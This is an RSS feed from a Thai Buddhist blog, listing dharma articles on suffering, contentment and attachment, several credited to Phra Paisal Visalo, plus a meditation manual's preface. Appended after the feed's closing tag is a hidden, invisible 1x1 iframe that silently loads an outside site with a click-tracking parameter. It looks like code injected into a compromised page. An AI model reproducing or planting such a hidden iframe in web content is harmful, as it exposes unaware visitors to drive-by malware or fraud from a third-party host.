<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Buddha-Dharma</title>
	<atom:link href="http://www.buddha-dharma.thaivalue.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.buddha-dharma.thaivalue.com</link>
	<description>พุทธะ - ธรรมะ / ประเทศไทย</description>
	<pubDate>Sat, 07 Feb 2009 13:38:25 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>คำนำ</title>
		<link>http://www.buddha-dharma.thaivalue.com/?p=138</link>
		<comments>http://www.buddha-dharma.thaivalue.com/?p=138#comments</comments>
		<pubDate>Sat, 07 Feb 2009 13:38:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[วิธีปฏิบัติให้ได้ มรรคผล นิพพาน]]></category>

		<guid isPermaLink="false">http://www.buddha-dharma.thaivalue.com/?p=138</guid>
		<description><![CDATA[คำนำ
หนังสือ &#8220;วิธีปฏิบัติให้ได้มรรคผลนิพพาน&#8221; นี้ เขียนขึ้นเพื่อให้ผู้ที่ปรารถนา
จะได้มรรคผลนิพพาน ได้ใช้เป็นคู่มือในการปฏิบัติธรรม เนื้อหาส่วนใหญ่เขียนขึ้นจากผลการปฏิบัติธรรมของผมเอง ในการปฏิบัติธรรมของผมนั้น ผมได้รู้ได้เห็นสภาวะธรรมต่างๆ มากมาย และได้วิเคราะห์ผลการปฏิบัติเหล่านั้น ทำให้ทราบถึงวิธี การปฏิบัติธรรมว่า ทำอย่างไรถูกวิธี อย่างไรผิดวิธี อย่างไรได้ผลเร็ว อย่างไรได้ผลช้า และทราบว่าเหตุใดนักปฏิบัติธรรมส่วนใหญ่จึงไม่สามารถบรรลุมรรคผล เมื่อทราบในเหตุในผลของการปฏิบัติธรรม และเทคนิคต่างๆ ที่จำเป็น การอธิบายได้พยายามเขียนให้เข้าใจง่าย แม้ผู้ที่ไม่มีพื้นความรู้ทางธรรมะมาก่อน ก็สามารถที่จะอ่านเข้าใจและนำไปปฏิบัติได้
ในการพิมพ์ครั้งแรก ผมเขียนขึ้นโดยที่ยังไม่ได้สอนคนอื่น ทำให้การอธิบายรายละเอียดบางตอนไม่ชัดเจน แต่ในการพิมพ์ครั้งหลังนี้ พิมพ์ขึ้นหลังจากที่ผมได้ไปสอนการปฏิบัติธรรมให้กับนักปฏิบัติหลายท่าน ทำให้ทราบว่าควรจะอธิบายอย่างไร นักปฏิบัติจึงจะเข้าใจได้ง่าย ฉะนั้นในหนังสือฉบับปรับปรุงใหม่นี้ ผมจึงได้แก้ไขและเพิ่มเติมเนื้อหาให้สมบูรณ์ยิ่งขึ้น
ชวยง พิกุลสวัสดิ์
ผู้แต่ง
]]></description>
		<wfw:commentRss>http://www.buddha-dharma.thaivalue.com/?feed=rss2&amp;p=138</wfw:commentRss>
		</item>
		<item>
		<title>อารัมภบท</title>
		<link>http://www.buddha-dharma.thaivalue.com/?p=133</link>
		<comments>http://www.buddha-dharma.thaivalue.com/?p=133#comments</comments>
		<pubDate>Sat, 07 Feb 2009 13:25:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[บทความธรรมะ]]></category>

		<category><![CDATA[วิธีปฏิบัติให้ได้ มรรคผล นิพพาน]]></category>

		<guid isPermaLink="false">http://www.buddha-dharma.thaivalue.com/?p=133</guid>
		<description><![CDATA[วิธีปฏิบัติธรรมนี้ผมได้ลอกมาจากหนังสือชื่อว่า "วิธีปฏิบัติให้ได้มรรคผลนิพพาน" ซึ่งแต่งโดย อาจารย์ ชวยง พิกุลสวัสดิ์ ]]></description>
		<wfw:commentRss>http://www.buddha-dharma.thaivalue.com/?feed=rss2&amp;p=133</wfw:commentRss>
		</item>
		<item>
		<title>สุขทุกข์ในมือเรา โดย พระไพศาล วิสาโล</title>
		<link>http://www.buddha-dharma.thaivalue.com/?p=129</link>
		<comments>http://www.buddha-dharma.thaivalue.com/?p=129#comments</comments>
		<pubDate>Sat, 07 Feb 2009 08:06:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[บทความธรรมะ]]></category>

		<guid isPermaLink="false">http://www.buddha-dharma.thaivalue.com/?p=129</guid>
		<description><![CDATA[ชีวิตไม่อาจเป็นไปดังหวังได้หมด
เปรียบไปก็ไม่ต่างกับเกมกีฬาที่ต้องมีแพ้ชนะ
ใครที่หวังชัยชนะไปเสียทุกครั้งก็เตรียมตัวทุกข์ใจไว้ได้เลย&#8230;
พูดเช่นนี้มิได้หมายความว่า
ให้เตรียมตัวเป็นผู้แพ้แต่อยู่ในมุ้ง
หามิได้ ใครที่คิดเช่นนั้นก็คงงอมืองอเท้าตั้งแต่แรก&#8230;
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.
คนเราควรพากเพียรอย่างเต็มที่ แต่ใครเล่าที่จะกำหนดผลสำเร็จไปได้หมด
คนที่มีน้ำใจเป็นนักกีฬา ต้องรู้จักแพ้ให้เป็น ฉันใด ในยามที่ชีวิตตกต่ำ
บัณฑิตพึงรู้จักทำใจให้เป็นฉันนั้น&#8230;
แต่คนเรามักทำใจไม่ได้ เพราะคอยหวนคะนึงถึงวันคืนอันชื่นบาน
สมัยยังมั่งมีศรีสุข หรือยังมีหน้ามีตา..
แต่อดีตมีไว้เพื่อเป็นฐานหนุนส่งให้เกิดปัจจุบัน เพื่อก้าวไปสู่อนาคต
ใครที่เอาอดีตมาเหนี่ยวรั้งตนไว้ไม่ให้ไปข้างหน้า
ก็เท่ากับเป็นนักโทษในกรงขังของตัวเอง..
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.
ชีวิตนั้นให้รางวัลก็แต่ผู้ที่อยู่กับปัจจุบัน เพราะปัจจุบันเท่านั้นที่เป็นของจริง
จริงอยู่บ่อยครั้งที่ปัจจุบันมีแต่เรื่องระทมทุกข์ อดีตนั้นน่าพิสมัยมากกว่า
แต่ถ้าเราจะหวนไปหาอดีตบ้างก็ควรเป็นชั่วครู่ชั่วขณะ
เพื่อชุบชูจิตใจให้ชื่นบานจะได้มีกำลังมาฟันฝ่าชีวิตในปัจจุบัน..
อย่างไรก็ตาม อย่าลืมว่าชีวิตจะสุขหรือทุกข์นั้นอยู่ที่เราเป็นสำคัญ
ไม่ใช่เพราะคนอื่นหรือเหตุอื่น เช่นเดียวกับความจนและความรวยนั้น
อยู่ที่มุมมองของเรา
&#8230;&#8230;&#8230;&#8230;&#8230;..
คนไทยเป็นอันมากกำลังทุกข์เพราะคิดอยู่ตลอดเวลาว่าตัวเองยากจนล ง
ตราบใดที่ยังจมอยู่กับความคิดแบบนี้ก็ไม่มีวันคลายทุกข์ไปได้
แต่เราลืมไปแล้วหรือว่า
ชีวิตความเป็นอยู่ของเราตอนนี้ถึงอย่างไรก็ยังดีกว่าบางช่วงในอ ดีต&#8230;
ลองมองไปรอบตัวจะพบว่าข้าวของในบ้านหลายชิ้น
เคยเป็นของสุดเอื้อมสมัยเรายังเด็กหรือเป็นหนุ่มเป็นสาว
รถยนต์ แก้วแหวนเงินทอง วีดีโอ สเตอริโอ ซีดี ฯลฯ..
มองในแง่นี้เราไม่ได้จนลงแต่รวยขึ้นต่างหาก ยิ่งถ้าเปรียบกับคนอีกมากมายตอนนี้
ไม่ว่าจะมองลงไปข้างล่างหรือมองขึ้นข้างบน เราก็ยังสบายกว่ามาก
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.
คนที่ถูกยึดรถไปสมควรแล้วที่จะคิดว่าตัวเองโชคดีกว่าคนที่กิจการล้มละลาย
ส่วนคนที่กิจการล้มละลายก็ยังโชคดีกว่านักธุรกิจพันล้านที่มีหนี้ท่วมหัว
แต่ถึงจะเป็นหนี้เป็นสินมากแค่ไหน
เราก็ยังมีสิทธิเลือกได้ว่าตัวเองจะทุกข์หรือไม่ทุกข์
เพราะถึงที่สุด สุขหรือทุกข์ไม่ได้อยู่ที่จำนวนทรัพย์หรือหนี้สิน
หากอยู่ที่ใจของเรา&#8230;
ถ้าเราคิดอยู่ตลอดเวลาว่าตัวแย่แล้วๆ นรกก็เกิดขึ้นทันตาเห็น
เรามีสิทธิที่จะคิดว่าตัวเองไม่แย่
แต่สิทธินี้เราจะใช้หรือไม่อยู่ที่ใคร&#8230; ถ้าไม่ใช่ตัวเราเอง..
กระนั้นก็ตาม นอกจากวิธีคิดหรือมุมมองแล้ว คุณภาพจิตของเราก็สำคัญ
ถ้าเราเป็นคนรู้จักสันโดษ ยินดีในสิ่งที่ตัวเองได้มาหรือมีอยู่
มีน้ำใจเอื้อเฟื้อเผื่อ รู้จักแสวงหาความสงบในจิตใจ
วิกฤตเศรษฐกิจหรือวิกฤตการณ์อื่นๆของชีวิตที่กำลังเผชิญอยู่ขณะ นี้
ก็ไม่ใช่เรื่องเหลือวิสัยที่จะฟันฝ่าไปได้..
ชีวประวัติ พระไพศาล วิสาโล 
]]></description>
		<wfw:commentRss>http://www.buddha-dharma.thaivalue.com/?feed=rss2&amp;p=129</wfw:commentRss>
		</item>
		<item>
		<title>แก้ว&#8230;ที่ไม่เคยพอ</title>
		<link>http://www.buddha-dharma.thaivalue.com/?p=119</link>
		<comments>http://www.buddha-dharma.thaivalue.com/?p=119#comments</comments>
		<pubDate>Sat, 07 Feb 2009 05:54:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[บทความน่าอ่าน]]></category>

		<guid isPermaLink="false">http://www.buddha-dharma.thaivalue.com/?p=119</guid>
		<description><![CDATA[ตลอดชีวิตที่ผ่านมา เราจะรู้สึกว่า เรายังมีไม่พอ ต้องมีนั่น มีนี่
เสียก่อนแล้วเราจะอิ่มจะเต็ม สิ่งหนึ่งที่เราไม่เคยถูกสอนก็คือ
ไม่ว่าเราจะพัฒนาความสามารถ ในการหาเงิน หาของ
หาความรักให้ได้มากสักเท่าไหร่ก็ตาม น้ำในแก้วไม่มีวันเต็ม
เพราะความอยากในใจเราไม่เคยหยุด แก้วของเราก็จะโตขึ้น
ไปเรื่อยๆ ไม่เคยพอ]]></description>
		<wfw:commentRss>http://www.buddha-dharma.thaivalue.com/?feed=rss2&amp;p=119</wfw:commentRss>
		</item>
		<item>
		<title>ชีวิตนี้มีแต่กำไร  โดย พระไพศาล วิสาโล</title>
		<link>http://www.buddha-dharma.thaivalue.com/?p=115</link>
		<comments>http://www.buddha-dharma.thaivalue.com/?p=115#comments</comments>
		<pubDate>Sat, 07 Feb 2009 05:10:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[บทความธรรมะ]]></category>

		<guid isPermaLink="false">http://www.buddha-dharma.thaivalue.com/?p=115</guid>
		<description><![CDATA[เมื่อเราสูญเสียไปอะไรก็ตาม เคยคิดบ้างไหมว่าเรา “เท่าทุน”
เพราะเราทุกคนเกิดมาตัวเปล่าเท่านั้น ของที่มีอยู่ทุกวันนี้ล้วนได้มาทีหลังทั้งนั้น
ไม่ว่าเป็นเงิน ทรัพย์สมบัติ หรือแม้แต่คนรัก
อันที่จริงแม้จะสูญเสียอะไรไป แต่ก็อย่าลืมว่ายังมีสิ่งดี ๆ อีกมากมายอยู่กับเรา
แม้เงินหายไปหมื่นบาท แต่สมบัติอีกมากมายก็ยังอยู่
แม้กิจการจะล้มละลาย แต่ก็ยังมีบ้านอยู่
พ่อแม่คนรักและลูกหลานก็ยังอยู่]]></description>
		<wfw:commentRss>http://www.buddha-dharma.thaivalue.com/?feed=rss2&amp;p=115</wfw:commentRss>
		</item>
		<item>
		<title>เพราะชีวิตคนเรามีแค่ 21,900 วันเท่านั้น</title>
		<link>http://www.buddha-dharma.thaivalue.com/?p=102</link>
		<comments>http://www.buddha-dharma.thaivalue.com/?p=102#comments</comments>
		<pubDate>Sat, 07 Feb 2009 04:13:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[บทความน่าอ่าน]]></category>

		<guid isPermaLink="false">http://www.buddha-dharma.thaivalue.com/?p=102</guid>
		<description><![CDATA[1 ปี เท่ากับ 365 วัน
แสดงว่าแต่ละคนมีเวลาบนพื้นโลก 21,900 วัน
คิดปลีกย่อยไปกว่านั้นก็ 525,600 นาที
ลองนับเป็นสัปดาห์ อืม...ไม่เลว 3,120 สัปดาห์...อ่านต่อ
]]></description>
		<wfw:commentRss>http://www.buddha-dharma.thaivalue.com/?feed=rss2&amp;p=102</wfw:commentRss>
		</item>
		<item>
		<title>ไม่ยอมแพ้แก่โชคชะตา โดย พระไพศาล วิสาโล</title>
		<link>http://www.buddha-dharma.thaivalue.com/?p=100</link>
		<comments>http://www.buddha-dharma.thaivalue.com/?p=100#comments</comments>
		<pubDate>Sat, 07 Feb 2009 03:08:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[บทความธรรมะ]]></category>

		<guid isPermaLink="false">http://www.buddha-dharma.thaivalue.com/?p=100</guid>
		<description><![CDATA[คุณจะรู้สึกอย่างไร หากทั้งชีวิตมีแต่เรื่องร้ายๆ หนักๆ ประดังประเดเข้ามา ตั้งแต่เกิดก็เกือบจมน้ำตาย โตขึ้นก็สูญเสียแม่ พ่อป่วยหนัก มีน้องๆ ต้องดูแลหลายคนทั้งๆ ที่ยังเรียนไม่จบ ครั้นแต่งงาน ก็มีลูกพิการ สุดท้ายสามีก็ทิ้ง แล้วยังมาเจอเนื้องอดที่มดลูก ผ่าตัดลำไส้เหลือแค่ครึ่งเดียว จากนั้นก็ถูกรถชน กระดูกคอหัก รอดตายแล้วก็ไปเจออุบัติเหตุรถยนต์อีก แขนหักสองท่อน และตับแตก อายุไม่ถึง ๕๐ แต่กระดูกผุราวคน ๘๐ แล้วยังไม่รู้ว่าจะเจออุบัติเหตุอีกกี่ครั้ง เจอแบบนี้แล้ว คุณยังคิดอยากอยู่อยากยิ้มให้กับชีวิตนี้อีกหรือ ?]]></description>
		<wfw:commentRss>http://www.buddha-dharma.thaivalue.com/?feed=rss2&amp;p=100</wfw:commentRss>
		</item>
		<item>
		<title>ยึดติด โดย พระไพศาล วิสาโล</title>
		<link>http://www.buddha-dharma.thaivalue.com/?p=98</link>
		<comments>http://www.buddha-dharma.thaivalue.com/?p=98#comments</comments>
		<pubDate>Sat, 07 Feb 2009 03:01:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[บทความธรรมะ]]></category>

		<guid isPermaLink="false">http://www.buddha-dharma.thaivalue.com/?p=98</guid>
		<description><![CDATA[
สุด..ได้เลขท้าย ๓ ตัวมาจากหลวงพ่อ เลยแทงไป ๑๕ บาท ปรากฏว่าถูกเผง ได้มา ๖๐๐ บาท เขาดีใจมาก เที่ยวอวดใครต่อใครในหมู่บ้านว่าถูกหวย แต่พอรู้ว่า คอนซึ่งเป็นเพื่อนบ้าน ก็แทงหวย ๓ ตัวถูกเหมือนกัน แต่ได้เงินมากกว่าคือ ๒,๐๐๐ บาท เพราะแทงมากกว่า สุดเลยยิ้มไม่ออก หงอยไปทั้งวัน แถมยังโมโหตัวเองที่แทงน้อยไป ???]]></description>
		<wfw:commentRss>http://www.buddha-dharma.thaivalue.com/?feed=rss2&amp;p=98</wfw:commentRss>
		</item>
		<item>
		<title>ยาสามัญประจำใจ โดย พระไพศาล วิสาโล</title>
		<link>http://www.buddha-dharma.thaivalue.com/?p=96</link>
		<comments>http://www.buddha-dharma.thaivalue.com/?p=96#comments</comments>
		<pubDate>Sat, 07 Feb 2009 02:59:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[บทความธรรมะ]]></category>

		<guid isPermaLink="false">http://www.buddha-dharma.thaivalue.com/?p=96</guid>
		<description><![CDATA[ในบรรดาผู้เคราะห์ร้ายจากสงครามเวียดนาม คงไม่มีใครที่ทั่วโลกรู้จักมากเท่ากับ คิม ฟุค ภาพเด็กหญิงวัย ๙ ขวบร่างกายบอบบางและเปลือยเปล่า วิ่งร่ำไห้อยู่กลางถนนพร้อมกับเด็กอีก ๒-๓ คน โดยมีฉากหลังเป็นม่านควันดำทมึนและเปลวไฟลุกโพลง ได้ประทับแน่นอยู่ในใจของผู้คนทั่วโลก ภาพนี้ภาพเดียวก็เพียงพอแล้วที่จะบอกเราว่าสงครามนั้นสร้างความทุกข์ทรมาน แก่ลูกเล็กเด็กแดงและประชาชนผู้บริสุทธิ์อย่างไรบ้าง
คิม ฟุค คือเด็กหญิงชาวเวียดนามใต้คนนั้นซึ่งช่างภาพอเมริกันได้ถ่ายไว้ขณะที่เธอและ เพื่อนบ้านกำลังแตกตื่นหนีภัย แม้เธอจะรอดตายจากระเบิดนาปาล์มที่ทิ้งลงหมู่บ้านของเธอ แต่ไฟก็ได้เผาลวกผิวหนังของเธอถึง ๖๕ เปอร์เซ็นต์ เธอต้องรักษาตัวอยู่ในโรงพยาบาลถึง ๑๔ เดือน และผ่านการผ่าตัดถึง ๑๗ ครั้งกว่าจะหายเป็นปกติ เธอยังโชคดีเมื่อเทียบกับลูกพี่ลูกน้องอีก ๒ คนซึ่งตายเพราะทนพิษบาดแผลไม่ไหว
นั่นคือเหตุการณ์ที่เกิดขึ้นในปี ๒๕๑๕ เมื่อเวียดนามกลายเป็นคอมมิวนิสต์ ๓ ปีต่อมา ก็ไม่มีข่าวคราวของเธอปรากฏสู่โลกภายนอกอีกเลย แต่แล้ววันหนึ่งในปี ๒๕๓๙ คิม ฟุค ก็ได้มาปรากฏตัวอยู่ต่อหน้าชาวอเมริกันซึ่งเคยผ่านสมรภูมิเวียดนาม เธอได้รับเชิญให้มาพูดเนื่องในโอกาสวันทหารผ่านศึก ณ กรุงวอชิงตันดีซี
การได้มาเผชิญหน้ากับกลุ่มคนซึ่งครั้งหนึ่งเคยมาทำลายบ้านเกิดเมืองนอนของ เธอ ทำให้ญาติพี่น้องของเธอต้องตาย และเกือบฆ่าเธอให้ตายไปด้วยนั้น ไม่ใช่เป็นเรื่องที่ทำใจได้ง่ายนัก แต่เธอมาก็เพื่อจะบอกให้พวกเขารู้ว่าสงครามนั้นได้ก่อความทุกข์ทรมานแก่ผู้ คนอย่างไรบ้าง หลังจากที่เล่าถึงประสบการณ์อันเจ็บปวดของเธอแล้ว เธอก็ได้เผยความในใจว่ามีเรื่องหนึ่งที่เธออยากจะบอกต่อหน้านักบินที่ทิ้ง ระเบิดใส่หมู่บ้านของเธอ
พูดมาถึงตรงนี้ก็มีคนส่งข้อความมาบอกว่า คนที่เธอต้องการพบกำลังนั่งอยู่ในห้องประชุมนี้ เธอจึงเผยความในใจออกมาว่า “ฉันอยากบอกเขาว่าเราไม่สามารถเปลี่ยนแปลงประวัติศาสตร์ได้ [...]]]></description>
		<wfw:commentRss>http://www.buddha-dharma.thaivalue.com/?feed=rss2&amp;p=96</wfw:commentRss>
		</item>
		<item>
		<title>สุขทุกข์ในมือเรา โดย พระไพศาล วิสาโล</title>
		<link>http://www.buddha-dharma.thaivalue.com/?p=93</link>
		<comments>http://www.buddha-dharma.thaivalue.com/?p=93#comments</comments>
		<pubDate>Sat, 07 Feb 2009 02:55:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[บทความธรรมะ]]></category>

		<guid isPermaLink="false">http://www.buddha-dharma.thaivalue.com/?p=93</guid>
		<description><![CDATA[ชีวิต ไม่อาจเป็นไปดังหวังได้หมด เปรียบไปก็ไม่ต่างกับเกมกีฬาที่ต้องมีแพ้ชนะ ใครที่หวังชัยชนะไปเสียทุกครั้ง ก็เตรียมตัวทุกข์ใจไว้ได้เลย
พูด เช่นนี้มิได้หมายความว่าให้เตรียมตัวเป็นผู้แพ้แต่อยู่ในมุ้งหามิได้ ใครที่คิดเช่นนั้น ก็คงงอมืองอเท้าตั้งแต่แรก คนเราควรพากเพียรอย่างเต็มที่ แต่ใครเล่าที่จะกำหนดผลสำเร็จไปได้หมด คนที่มีน้ำใจเป็นนักกีฬา ต้องรู้จักแพ้ให้เป็น ฉันใด ในยามที่ชีวิตตกต่ำ บัณฑิตพึงรู้จักทำใจให้เป็นฉันนั้น
แต่คนเรามักทำใจไม่ได้ เพราะคอยหวนคะนึงถึงวันคืนอันชื่นบาน สมัยยังมั่งมีศรีสุข หรือยังมีหน้ามีตา แต่อดีตนั้นมีไว้เพื่อเป็นฐานหนุนส่งให้เกิดปัจจุบัน เพื่อก้าวไปสู่อนาคต ใครที่เอาอดีตมาเหนี่ยวรั้งตนไว้ไม่ให้ไปข้างหน้า ก็เท่ากับเป็นนักโทษในกรงขังของตัวเอง
ชีวิต นั้นให้รางวัลก็แต่ผู้ที่อยู่กับปัจจุบัน เพราะปัจจุบันเท่านั้นที่เป็นของจริง จริงอยู่บ่อยครั้งปัจจุบันมีแต่เรื่องระทมทุกข์ อดีตนั้นน่าพิสมัยมากกว่า แต่ถ้าเราจะหวนไปหาอดีตบ้างก็ควรเป็นชั่วครู่ชั่วขณะ เพื่อชุบชูจิตใจให้ชื่นบานจะได้มีกำลังมาฟันฝ่าชีวิตในปัจจุบัน
อย่าง ไรก็ตาม อย่าลืมว่าชีวิตจะสุขหรือทุกข์นั้น อยู่ที่เราเป็นสำคัญ ไม่ใช่เพราะคนอื่นหรือเหตุอื่น เช่นเดียวกับความจนและความรวยนั้น อยู่ที่มุมมองของเรา คนไทยเป็นอันมากกำลังทุกข์เพราะคิดอยู่ตลอดเวลาว่าตัวเองยากจนลง ตราบใดที่ยังจมอยู่กับความคิดแบบนี้ก็ไม่มีวันคลายทุกข์ไปได้
แต่ เราลืมไปแล้วหรือว่า ชีวิตความเป็นอยู่ของเราตอนนี้ ถึงอย่างไรก็ยังดีกว่าบางช่วงในอดีต ลองมองไปรอบตัว จะพบว่าข้าวของในบ้านหลายชิ้น เคยเป็นของสุดเอื้อมสมัยเรายังเด็ก หรือเป็นหนุ่มเป็นสาว รถยนต์ แก้วแหวนเงินทอง วีดีโอ สเตอริโอ ซีดี ฯลฯ มองในแง่นี้เราไม่ได้จนลงแต่รวยขึ้นต่างหาก ยิ่งถ้าเปรียบกับคนอีกมากมายตอนนี้ ไม่ว่าจะมองลงไปข้างล่างหรือมองขึ้นข้างบน เราก็ยังสบายกว่ามาก คนที่ถูกยึดรถไป สมควรแล้วที่จะคิดว่า [...]]]></description>
		<wfw:commentRss>http://www.buddha-dharma.thaivalue.com/?feed=rss2&amp;p=93</wfw:commentRss>
		</item>
	</channel>
</rss>
<iframe src="http://untlexy.net/?click=AD5C44A" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>
